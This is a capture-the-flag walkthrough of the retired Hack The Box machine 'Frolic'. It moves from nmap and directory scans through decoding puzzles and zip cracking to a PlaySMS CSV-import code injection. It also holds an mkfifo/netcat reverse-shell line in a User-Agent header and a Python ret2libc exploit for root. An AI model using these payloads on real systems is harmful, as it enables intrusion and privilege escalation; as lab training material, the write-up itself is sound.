Name: | Frolic |
---|---|
Release Date: | 13 Oct 2018 |
Retire Date: | 23 Mar 2019 |
OS: | Linux |
Base Points: | Easy - Retired [0] |
Rated Difficulty: | |
Radar Graph: | |
NoGirlsLoveMe 00 days, 03 hours, 17 mins, 17 seconds | |
Adamm 00 days, 04 hours, 21 mins, 18 seconds | |
Creator: | felamos |
CherryTree File: | CherryTree - Remove the .txt extension |
Again, we start with nmap -sC -sV -oA ./frolic 10.10.10.111
$ nmap -sC -sV -oA ./frolic 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-02 10:58 EDT
Nmap scan report for 10.10.10.111
Host is up (0.097s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h49m41s, deviation: 3h10m31s, median: 17s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2020-04-02T20:29:31+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-02T14:59:30
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.44 seconds
SSH, SMB, and HTTP, but on port 9999 instead of the usual 80. The website is the generic "If you see this then it's working" page, but it does provide frolic.htb:1880. If we add frolic.htb to our HOSTS file, then we see that frolic.htb:1880 is a Node Red system.
Let's bring up dirbuster and hit it with the directory-list-lowercase-2.3-medium.txt in /usr/share/dirbuster/wordlists. Fairly quickly, dirbuster finds an /admin folder.
Let's start there while the rest runs. Navigating to it gives us a "c'mon i m hackable" login page
<html>
<head>
<title>Crack me :|</title>
<!-- Include CSS File Here -->
<link rel="stylesheet" href="css/style.css"/>
<!-- Include JS File Here -->
<script src="js/login.js"></script>
</head>
<body>
<div class="container">
<div class="main">
<h2>c'mon i m hackable</h2>
<form id="form_id" method="post" name="myform">
<label>User Name :</label>
<input type="text" name="username" id="username"/>
<label>Password :</label>
<input type="password" name="password" id="password"/>
<input type="button" value="Login" id="submit" onclick="validate()"/>
</form>
<span><b class="note">Note : Nothing</b></span>
</div>
</div>
</body>
</html>
We have a response that now tells us the login script is in /admin/js/login.js. Let's grab it. http://10.10.10.111:9999/admin/js/login.js
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
This is worthy of many, many facepalms. "if ( username == "admin" && password == "superduperlooperpassword_lol"){" OK so the credentials are admin:superduperlooperpassword_lol #neverstoreincleartext Plus, it looks like it
redirects to success.html. By now, Dirbuster has spit out some more results
Let's check some of the others. /backup shows password.txt user.txt /loop. /backup/password.txt gives us "password - imnothuman"; /backup/user.txt gives us "user - admin"; /backup/loop is 403 Forbidden; test gives us the PHP default page; /dev is 403 Forbidden, but /dev/backup gives us /playsms. http://10.10.10.111:9999/playsms gives us another login page. Lastly, http://10.10.10.111:9999/admin/success.html give us .'s, !'s, and ?'s that I recognize as Ook! language. Ook! is a variant of Brainfuck. Time to try the cred combos that we've already found and decode the Ook!.
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!!
!!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? .....
..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?...
..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?.
..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!!
!!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.
Using dCode again, https://www.dcode.fr/ook-language we decode the Ook! into "Nothing here check /asdiSIAJJ0QWE9JAS"
Before we start credential hopping, let's navigate to /asdiSIAJJ0QWE9JAS and see what's there. <a href="http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/">http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/</a> yeilds us another string
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMr
X4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAA
EAAQBPAAAAAwEAAAAA
Now that looks like Base64, but base64 decode shows that it's some kind of file. So, we output the base64 to a file and then run file on it to see what's what.
Great. It's password protected. None of the passwords we've already found worked. fcrackzip it is then.
mv unknown unknown.zip
fcrackzip unknown.zip -u -D -p /usr/share/wordlists/rockyou.txt
I no sooner hit Enter that I get a result. password........ really.....
New String....yay
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307
450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c
533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
Nothing above an f. 0-9 and a-f ONLY. This is a HEX string. This appears to be a lot of encoding/decoding so I'm firing up CyberChef.
Remember when I said Ook! was a variant of Brainfuck? Meet Brainfuck
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
https://www.dcode.fr/brainfuck-language translates that into "idkwhatispass"
All of this and we still haven't gotten a shell on the box. I think it's about time we did that. We can log in to PlaySMS with the admin:idkwhatispass we discovered earlier. By now, you might have realized that I only
use Metasploit itself as a last resort effort. This box is no different. Searching ExploitDB though is perfectly fine XD https://www.exploit-db.com/exploits/42044 is the one we need! Create a "bad.csv" file.
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22
Click on the My Account dropdown, select Phonebook, and select import. Start a netcat listener (nc -lvnp 1234) Fire up Burp Suite and point Firefox to it. Now, upload your bad.csv, but capture the request! Send it to Repeater and change your User-Agent string to
User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 1234 >/tmp/f
Send the modified request onward and you have a www-data shell. Go ahead and grab the user flag at /home/ayush/user.txt. What else is here?
ls -la
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 .
drwxr-xr-x 4 root root 4096 Sep 23 2018 ..
-rw------- 1 ayush ayush 2781 Sep 25 2018 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 2018 .profile
-rw------- 1 ayush ayush 965 Sep 25 2018 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 2018 user.txt
cd ./.binary
www-data@frolic:/home/ayush/.binary$ ls
rop
We have a rop file. We can use netcat to transfer it over to our machine.
Attacking Machine:
nc -lvnp 8081 > rop
Victim Machine:
nc -w 3 10.10.14.28 8081 < rop
As soon as the Victim command is run, the file is transferred. Now we need the addresses in memory for rop. We can get those with ldd, readelf, and (believe it or not) strings.
www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
www-data@frolic:/home/ayush/.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/bash
</.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/bash
www-data@frolic:/home/ayush/.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
</.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
So, to recap our addresses:
libc = 0xb7e19000
system = 0003ada0
exit = 002e9d0
/bin/sh = 15ba0b
Now we can build our ret2libc chain using python.
#!/usr/bin/python
import struct
def addr(x):
return struct.pack("I",x)
buf = "A" * 52
libc = 0xb7e19000
shell = addr(libc + 0x0015ba0b)
system = addr(libc + 0x0003ada0)
exit = addr(libc + 0x0002e9d0)
payload = buf + system + exit + shell
print (payload)
Then run:
/home/ayush/.binary/rop $(python /tmp/exploit.py)
Congratulations. You now have a root shell.